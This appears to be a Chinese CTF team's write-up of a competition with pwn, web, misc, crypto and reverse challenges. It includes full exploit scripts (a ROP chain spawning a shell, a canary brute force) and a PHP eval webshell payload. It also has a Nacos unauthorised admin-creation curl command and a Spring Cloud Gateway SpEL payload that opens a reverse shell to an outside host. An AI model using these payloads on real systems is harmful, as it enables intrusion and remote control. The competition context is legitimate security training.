又被带飞力,感谢队友。
在这里插入图片描述

PWN

烧烤摊儿

静态链接文件,开了 NX 和 Canary,虽然有金丝雀,但在后面存在栈溢出的函数里并没有这个检查。

在这里插入图片描述

首先是一个菜单,买啤酒或者烤串会扣除一定金钱,但是没有对输入的内容进行检查,尝试输入负数的商品数量,发现余额确实增加了。这样就可以输入一个大负数使得余额增大,然后去承包摊位。成为店主之后有个输入点,能重新修改店名,程序先往栈上的变量 v5 写,再把 v5 的内容拷贝到全局变量 name 中。我们要是写入了 ‘/bin/sh\x00’,就能知道这个字符串的地址了,即 name 的地址。

输入很长的一串字符串后发现程序报段错误,意味着是存在栈溢出的,而且没有金丝雀对我们的越界作限制。v5 数组的长度是 0x20,覆盖为 ‘/bin/sh\x00’ + 0x20 个垃圾字符,然后就能写返回地址了,直接打 ROP 控制程序执行流即可。

静态程序基本上 gadget 都非常全,控制 rax=59, rdi=name_addr, rdi=0, rsi=0,然后去执行 syscall,即可执行到 execve('/bin/sh',0 ,0)

完整exp如下

from pwn import *
p = process('./shaokao')
#p = remote('39.105.187.49',42285)
context.log_level = 'debug'

p.sendline('2')
p.sendline('2')
p.sendline('-100000')
p.sendline('4')
p.sendline('5')

name = 0x4E60F0
pop_rax_rdx_rbx_ret = 0x4a404a
pop_rdi_ret = 0x40264f
pop_rsi_ret = 0x40a67e
syscall = 0x402404

payload = '/bin/sh\x00' 
payload += 'a'*(0x20-0x8) + p64(0)
payload += p64(pop_rax_rdx_rbx_ret)
payload += p64(59)
payload += p64(0)
payload += p64(0)
payload += p64(pop_rdi_ret)
payload += p64(name)
payload += p64(pop_rsi_ret)
payload += p64(0)
payload += p64(syscall)
p.sendline(payload)

p.interactive()

funcanary

基本上就是出了道原题,利用 fork 进程来爆破 canary,然后就可以利用 0x10 字节的溢出来改返回地址到后门函数了,我的 exp 中爆破 canary 那部分直接扒的下方 blog 的模板。

Pwn-多方式绕过Canary | 偏有宸机 (gitee.io)

这道题跟 blog 中的例题唯一一点不同是,程序开了 PIE,也就是说不能确定后门函数的具体地址了,但由于 Linux 内存和页面存在页对齐机制,所以函数地址的后12位是固定的,即 0x228

在这里插入图片描述

然后可以通过两个字节的溢出来改返回地址绕 PIE,后面再利用 fork 进程来爆破那半个不确定的字节即可。

完整exp如下

from pwn import *
context.log_level = 'debug'

bin_elf = "./pwn"

sh = process(bin_elf)
#sh = remote('39.106.48.123',30555)
elf = ELF(bin_elf)

def blasting(offset,input_prompt):
    sh.recvuntil(input_prompt+'\n')
    canary = '\x00'
    for k in range(7):
        for i in range(256):
            success("Canary ->"+canary)
            print "\n-------------   No." + str(k) + ":" + chr(i)+"   -------------"
            sh.send('a'*offset + canary + chr(i))
            recv = sh.recvuntil(input_prompt+"\n")
            print "----"+recv
            if "stack smashing detected" in recv:
                continue
            else:
                canary += chr(i)
                success("Canary =>"+canary)
                break
    return canary

canary = blasting(0x68, "welcome")
log.info("!!!canary:" + canary)

for i in range(16):
    flag=i*0x1000+0x228
    sleep(0.1)
    sh.send('a'*0x68+canary+'a'*0x8+p16(flag))

sh.interactive()

WEB

unzip

由题目的代码可以感觉到这道题目可能是考的软连接

用软连接一个指web目录

第二个指向第一次创建的连接,就可以写文件进去到web目录里面

关键的命令为:

ln -s /var/www/html web
zip -y web.zip web
ln -s /flag flag
zip -y flag.zip web/flag

然后依次传上web.zip和flag.zip

最后访问/flag即可

dumpit

根据题目看到:

use ?db=&table_2_query= or ?db=&table_2_dump= to view the tables! etc:?db=ctf&table_2_query=flag1

可以用db或table_2_dump来传参

于是写入一个shell

?db=-r "1.php" "<?=eval($_POST[1]);?>"&table_2_dump=flag1

发现过滤了,回显不对

包括cat,tac等读不了文件

于是传入

?db=-r "1.php" "<?=eval(phpinfo()) ?>"&table_2_dump=flag1

环境变量里找到flag

在这里插入图片描述

这应该算是非预期。

BackendService

题目为NACOS后台系统

看到用户登陆便在网上找到了相关的绕过:(未授权添加管理员)

在这里插入图片描述

由此,未授权加用户的payload:

curl http://ip:port/nacos/v1/auth/users -d "username=test&password=test" -H 'User-Agent: Nacos-Server'

添加后登陆,username和password都为test 进入管理界面

进入管理页面后寻找相关的漏洞

参考这篇文章:https://xz.aliyun.com/t/11493#toc-0

在这里插入图片描述

反弹shell后连接自己的vpn

{
    "spring": {
        "cloud": {
            "gateway": {
                "routes": [
                    {
                        "id": "exam",
                        "order": 0,
                        "uri": "lb://service-provider",
                        "predicates": [
                            "Path=/echo/**"
                        ],
                        "filters": [
                            {
                                "name": "AddResponseHeader",
                                "args": {
                                    "name": "result",
                                    "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'sh', '-c', 'sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/6789 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
                                }
                            }
                        ]
                    }
                ]
            }
        }
    }
}

最终在根目录下找到flag

在这里插入图片描述

Misc

签到卡

随便输入一些python语句,在公众号上发消息“签到编码卡”,得到提示。然后使用以下命令即可得到flag

print(open('/flag').read())

被加密的生产流量

解压后得到流量包,流量分析。看见有modbus的名字,与文件名对应。

选中一条,使用tcp追踪流,能够发现零碎的字符串。
在这里插入图片描述

然后把他们拼接起来

MMYWMX3GNEYWOXZRGAYDA===

“===”的特征,是base32的解密,直接使用在线网站即可

在这里插入图片描述

得到字符串,加一个flag{}包起来就行。

国粹

将a图片和k图片进行拼接,a图片每个花色与k的每个花色一一对应,按万字牌、筒字牌、条字牌、花色种类的顺序排序1-42,得到多组坐标。

在这里插入图片描述

再一一排序转为横纵坐标进行画图。

脚本如下

import matplotlib.pyplot as plt

def plot_coordinates(coordinates):
    x = [coord[0] for coord in coordinates]
    y = [coord[1] for coord in coordinates]

    plt.scatter(x, y)
    plt.plot(x, y)
    plt.xlabel('X')
    plt.ylabel('Y')
    plt.title('Coordinate Plot')
    plt.grid(True)
    plt.show()

coordinates = [(1, 4), (1, 5), (1, 10), (1, 30), (2, 3), (2, 4), (2, 5), (2, 6), (2, 10), (2, 29), (2, 30), (3, 3), (3, 4), (3, 10), (3, 16), (3, 17), (3, 22), (3, 23), (3, 24), (3, 25), (3, 29), (3, 30), (4, 2), (4, 3), (4, 4), (4, 5), (4, 10), (4, 15), (4, 16), (4, 18), (4, 21), (4, 22), (4, 24), (4, 25), (4, 29), (4, 30), (5, 3), (5, 4), (5, 10), (5, 15), (5, 17), (5, 18), (5, 19), (5, 21), (5, 22), (5, 25), (5, 28), (5, 29), (6, 3), (6, 4), (6, 10), (6, 15), (6, 16), (6, 18), (6, 19), (6, 21), (6, 22), (6, 25), (6, 29), (7, 3), (7, 4), (7, 10), (7, 11), (7, 12), (7, 13), (7, 15), (7, 18), (7, 19), (7, 22), (7, 23), (7, 24), (7, 25), (7, 29), (7, 30), (8, 3), (8, 4), (8, 11), (8, 12), (8, 15), (8, 16), (8, 17), (8, 18), (8, 19), (8, 20), (8, 25), (8, 29), (8, 30), (9, 21), (9, 22), (9, 24), (9, 25), (9, 30), (9, 31), (10, 23), (10, 24), (12, 22), (12, 23), (12, 24), (12, 25), (13, 2), (13, 3), (13, 4), (13, 5), (13, 9), (13, 10), (13, 11), (13, 12), (13, 16), (13, 17), (13, 18), (13, 19), (13, 24), (13, 25), (14, 2), (14, 5), (14, 6), (14, 9), (14, 12), (14, 19), (14, 23), (14, 24), (15, 5), (15, 9), (15, 12), (15, 18), (15, 19), (15, 22), (15, 23), (16, 4), (16, 5), (16, 9), (16, 12), (16, 17), (16, 18), (16, 23), (16, 24), (17, 3), (17, 4), (17, 9), (17, 12), (17, 16), (17, 17), (17, 24), (17, 25), (18, 3), (18, 9), (18, 12), (18, 16), (18, 25), (19, 3), (19, 4), (19, 5), (19, 6), (19, 9), (19, 10), (19, 11), (19, 12), (19, 16), (19, 17), (19, 18), (19, 19), (19, 21), (19, 22), (19, 23), (19, 24), (19, 25), (20, 10), (20, 11), (22, 3), (22, 4), (22, 5), (22, 6), (22, 10), (22, 11), (22, 12), (22, 17), (22, 18), (22, 19), (22, 24), (22, 25), (23, 3), (23, 6), (23, 7), (23, 9), (23, 10), (23, 16), (23, 17), (23, 19), (23, 20), (23, 22), (23, 23), (23, 24), (23, 25), (24, 3), (24, 6), (24, 7), (24, 9), (24, 10), (24, 16), (24, 19), (24, 20), (24, 24), (24, 25), (25, 3), (25, 6), (25, 7), (25, 10), (25, 11), (25, 12), (25, 16), (25, 19), (25, 20), (25, 24), (25, 25), (26, 3), (26, 6), (26, 7), (26, 12), (26, 13), (26, 16), (26, 19), (26, 20), (26, 24), (26, 25), (27, 3), (27, 6), (27, 7), (27, 9), (27, 12), (27, 13), (27, 16), (27, 19), (27, 20), (27, 24), (27, 25), (28, 3), (28, 4), (28, 6), (28, 9), (28, 10), (28, 11), (28, 12), (28, 16), (28, 17), (28, 19), (28, 20), (28, 24), (28, 25), (29, 4), (29, 5), (29, 17), (29, 18), (29, 19), (31, 10), (31, 11), (31, 12), (31, 13), (31, 25), (31, 31), (32, 4), (32, 5), (32, 6), (32, 10), (32, 11), (32, 12), (32, 13), (32, 17), (32, 18), (32, 19), (32, 23), (32, 24), (32, 25), (32, 26), (32, 32), (33, 3), (33, 4), (33, 6), (33, 7), (33, 12), (33, 16), (33, 17), (33, 23), (33, 24), (33, 26), (33, 32), (34, 6), (34, 7), (34, 11), (34, 16), (34, 17), (34, 23), (34, 24), (34, 26), (34, 32), (35, 6), (35, 11), (35, 12), (35, 17), (35, 18), (35, 19), (35, 23), (35, 24), (35, 25), (35, 26), (35, 33), (36, 5), (36, 12), (36, 13), (36, 19), (36, 20), (36, 26), (36, 32), (37, 4), (37, 5), (37, 13), (37, 16), (37, 19), (37, 20), (37, 25), (37, 26), (37, 32), (38, 4), (38, 5), (38, 6), (38, 7), (38, 9), (38, 10), (38, 11), (38, 12), (38, 13), (38, 16), (38, 17), (38, 18), (38, 19), (38, 24), (38, 25), (38, 31), (38, 32), (39, 23), (39, 24), (39, 31)]

plot_coordinates(coordinates)

画出的图片能看到大致 flag,猜一下即可
在这里插入图片描述

flag{202305012359}

pyshell

nc 连上发现输入什么都只会返回 ‘nop’,输入限制在7个字节内,且不能使用 = 符号

Pyshell 获取查看本地文件的命令为:

import os
os.system("ls")

此命令等价于: __import__('os').system('ls')

在本地 python shell 中可以执行此命令

在这里插入图片描述
在这里插入图片描述

考虑字符串的拼接绕过,使用 _ 拼接命令,最后用 eval 函数执行 cat /flag,即可得到 flag
在这里插入图片描述

Crypto

基于国密SM2算法的密钥密文分发

这个题目需要仔细阅读文档,一步步的按照提示去完成。

1.用户通过http协议服务器建立通信连接;
2. 用户将用户个人信息上报服务器,并获取id唯一标识;
3.用户使用国密SM2算法生成密钥对A(公钥A_Public_Key、私钥A_Private_Key),将密钥对A的公钥(A_Public_Key)传输给服务器;

这里先要随机生成密钥对A:

A(公钥A_Public_Key、私钥A_Private_Key)
A(AD4388720A2DB378C34E7FDF5380AD2A008144550A2AD223897AC3CFAF11C448BE82BBF2F4D79CA26F1D6650CE09B8D22EAF2C4ECCA26234F4830EEC94E5A2D3,82BDBABDD689150A3A0E627DBB20C63139D7F7764576488D1269207124B6653B)

在这里插入图片描述

4.服务器使用国密SM2算法生成密钥对B(公钥B_Public_Key、私钥B_Private_Key)、使用量子随机数发生器产生16字节随机数C;服务器首先使用16字节随机数C对私钥B_Private_Key采用SM4ECB算法加密得到私钥B_Private_Key密文,然后使用A_Public_Key对16字节随机数C进行SM2加密得到随机数C密文;
5.服务器将公钥B_Public_Key明文、私钥B_Private_Key密文、随机数C密文传输给用户;
6.用户使用私钥A_Private_Key,对随机数C密文进行SM2解密,获取16字节随机数C明文;用户使用16字节随机数C明文,对私钥B_Private_Key密文,采用SM4ECB算法解密,得到私钥B_Private_Key明文;
B(公钥B_Public_Key、私钥B_Private_Key)
B(04d4438e7fe37d6e3c32aa53f4d0e3ba32f7fff3f12d31091822ffcaecababbb18a2ddd5599e073802e2352e20b84f12eae78cbb716b796ca76d05133efe95d8f3,8a030cc7695de24621b15c0b28fb7720461d4dd4a3447d398b234153d5bb0a24)
随机数C密文
76f9d053d855c1cea3963d67df6fc554d2e24760394fdd48eecc0307175cfb6f4de5c89de2d29f288cb3ca2c7c7f143b599392a54be52dd6e82e8fd43d8f789a2cba923b31a41da40df10ec5f04641013bb4b1b3233e97ae385bbfa0d4aef977f4716c74f7b3c5bd31ac51d751f645ce

直接使用在线工具解密密文C,还有私钥B_Private_Key明文也是在线解密

在这里插入图片描述

随机数C明文
AD74ED55E1223775021E53060DA5E0A7

在这里插入图片描述

私钥B_Private_Key明文
568C316A7A250EFF0F58278FA83E20860103809AE44C81D57808456ECF89574D

后面的操作就比较简单了

7.用户向服务器请求密钥,服务器使用公钥B_Public_Key明文,对密钥D(16字节)采用SM2算法加密,将密钥D密文传输给用户;
8.用户使用私钥B_Private_Key明文,对密钥D密文进行解密,得到密钥D明文;
9.用户将密钥D明文,上报至服务器进行验证,服务器返回参赛结果;
10.用户可向服务器查询个人信息及参赛结果

在这里插入图片描述

也是使用在线工具解密
在这里插入图片描述

密钥D密文
5a8a1462b800cea66483eddd751bfd635f7551bb8b6523375393275c5e9f9e1d9277e37a700bb87405b3df0da144801686fc0bdcc37eaaa5495a73b0a4d5b9a15586e6a53061476329561af25c2dc66da3e2a8dc4b187cb3a5339c6fce68d91db45568cdc41a76adc9f0b364504ec518

密钥D明文
BA87E9FF7837EA5FFD4C146EA7AC2E78

可信度量

本题我的是非预期解,主要是最近学习了操作系统原理这门课程,对于find的命令较为熟悉

使用xshell登录ssh服务器后,直接使用命令:

find / –type f |xargs grep -ra "flag{" grep

即可得到flag

在这里插入图片描述

Sign_in_passwd

本题虽然较为简单,但是主打一个猜

下面那串比较长,又有“%”,马上就想到url编码

使用cyberchef先解url
在这里插入图片描述

GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5

然后就是一个base64的换表

在这里插入图片描述

badkey1

  1. proof_of_work()函数要求用户找到一个长度为4的字符串XXXX,使得sha256(XXXX + proof[4:])等于给定的哈希值_hexdigest。如果用户提供了正确的XXXX,函数返回True,否则返回False。
  2. 如果proof_of_work()返回False,程序将退出。
  3. 程序设置一个10秒的定时器。用户需要在10秒内完成接下来的任务,否则程序将被中断。
  4. 程序提示用户提供一个“错误的”RSA密钥对。用户需要输入两个质数p和q,这些质数需要满足一些条件(例如,它们必须是512位长的质数,且不能使p % e == 1 或 q % e == 1)。
  5. 程序尝试使用用户提供的p和q值构造一个RSA密钥对。如果构造成功,程序将输出"This is not a bad RSA keypair.“。如果在尝试构造密钥对时引发了ValueError异常(即密钥对不满足RSA算法的基本属性),程序将输出"How could this happen?”,并显示秘密标志(flag)。如果程序被中断(例如,由于10秒定时器到期),程序将输出"Hacker detected."

首先是proof

import hashlib
import itertools
import string

def find_proof(prefix, target_hash):
    for combination in itertools.product(string.ascii_letters + string.digits, repeat=4):
        test_str = ''.join(combination)
        test_hash = hashlib.sha256((test_str + prefix).encode()).hexdigest()
        if test_hash == target_hash:
            return test_str
    return None

proof_prefix = find_proof(proof_suffix, target_hash)

传入服务器发来的proof, target_hash

爆破sha256

接着构造d=k*q使得不满足RSA生成密钥的条件

from Crypto.Util.number import 
while True:
p = getPrime(512)
e = 65537
k = inverse(e, p - 1)
t = (e * k * p - 1) // (p - 1)
for j in range(1, e+1):
    if t % j == 0:
        q = t // j + 1
        if isPrime(q) and q.bit_length() == 512:
        print(p)
        print(q)
        break

完成这两个条件即可得到flag

完整脚本如下

import hashlib
import itertools
from Crypto.Util.number import getPrime,inverse
from pwn import *
from Crypto.PublicKey import RSA


p = remote('39.105.26.155',29558)

t = p.recv()
hexdigest = t.decode('utf-8')[33:97]
proof = t.decode('utf-8')[12:28]

def find_proof(prefix, target_hash):
for combination in itertools.product(string.ascii_letters + string.digits, repeat=4):
test_str = ''.join(combination)
test_hash = hashlib.sha256((test_str + prefix).encode()).hexdigest()
if test_hash == target_hash:
return test_str
return None

result = find_proof(proof, hexdigest)
p.sendline(result)
t = p.recv()
print(t.decode('utf-8'))

# p.interactive()
weak_p = 10531798713566879985296310428910390829209559732187698122767912917088107059584145754739337891177477443973692234213380752118071230162618029537072442550315509
weak_q = 10354167589067169202907092046919351418658108936732776652403348338383910730719553355212239030073966381178568000602060877173120275918735882350052550806863399
p.sendline(str(weak_p).encode())
p.sendline(str(weak_q).encode())
t = p.recv()
print(t.decode('utf-8'))

Reverse

ezbyte

通过ida逆向后,找到关键函数:

在这里插入图片描述

在这里插入图片描述

然后就是readelf读取堆栈信息,

DW_CFA_val_expression: r12 (r12) (DW_OP_constu: 8722213363631027234; DW_OP_constu: 1890878197237214971; DW_OP_constu: 9123704; DW_OP_breg15 (r15): 0; DW_OP_plus; DW_OP_xor; DW_OP_xor; DW_OP_constu: 2451795628338718684; DW_OP_constu: 1098791727398412397; DW_OP_constu: 1512312; DW_OP_breg14 (r14): 0; DW_OP_plus; DW_OP_xor; DW_OP_xor; DW_OP_constu: 8502251781212277489; DW_OP_constu: 1209847170981118947; DW_OP_constu: 8971237; DW_OP_breg13 (r13): 0; DW_OP_plus; DW_OP_xor; DW_OP_xor; DW_OP_constu: 2616514329260088143; DW_OP_constu: 1237891274917891239; DW_OP_constu: 1892739; DW_OP_breg12 (r12): 0; DW_OP_plus; DW_OP_xor; DW_OP_xor; DW_OP_plus; DW_OP_plus; DW_OP_plus)

求解出R12-R15,最后就是简单的xor逻辑

str1 = [0x35, 0x62, 0x66, 0x65, 0x39, 0x30, 0x36, 0x65][::-1]
str2 = [0x65, 0x34, 0x2d, 0x65, 0x30, 0x37, 0x65, 0x2d][::-1]
str3 = [0x2d, 0x39, 0x36, 0x63, 0x61, 0x2d, 0x34, 0x39][::-1]
str4 = [0x63, 0x36, 0x39, 0x64, 0x31, 0x33, 0x63, 0x61][::-1]


key = str1 + str2 + str3 + str4
print(''.join([chr(i) for i in key if i]), end='')
print('3861', end='')

最后再包上个flag{}即可

babyRE

本题逻辑其实比较简单。就是一个xor的逻辑。但是题目给的是xml文件。因此需要把界面图形化后再继续做题。

使用xml文件中提供的网址进行图形化

在这里插入图片描述

找到关键的逻辑函数,现在就差字符串了。这里需要在左边最下面加一个say的框,还有secret。再把最右边那一列全部删掉。就能跑出字符串了。

在这里插入图片描述

然后就是xor的逻辑,即可得到flag

str=[102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25, 81, 83, 7, 28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85, 87, 30]

flag=""
for i in range(1,len(str)):
    str[i] =str[i]^str[i-1]

for i in range(len(str)):
    flag+=chr(str[i])

print(flag)
Logo

开放原子开发者工作坊旨在鼓励更多人参与开源活动,与志同道合的开发者们相互交流开发经验、分享开发心得、获取前沿技术趋势。工作坊有多种形式的开发者活动,如meetup、训练营等,主打技术交流,干货满满,真诚地邀请各位开发者共同参与!

更多推荐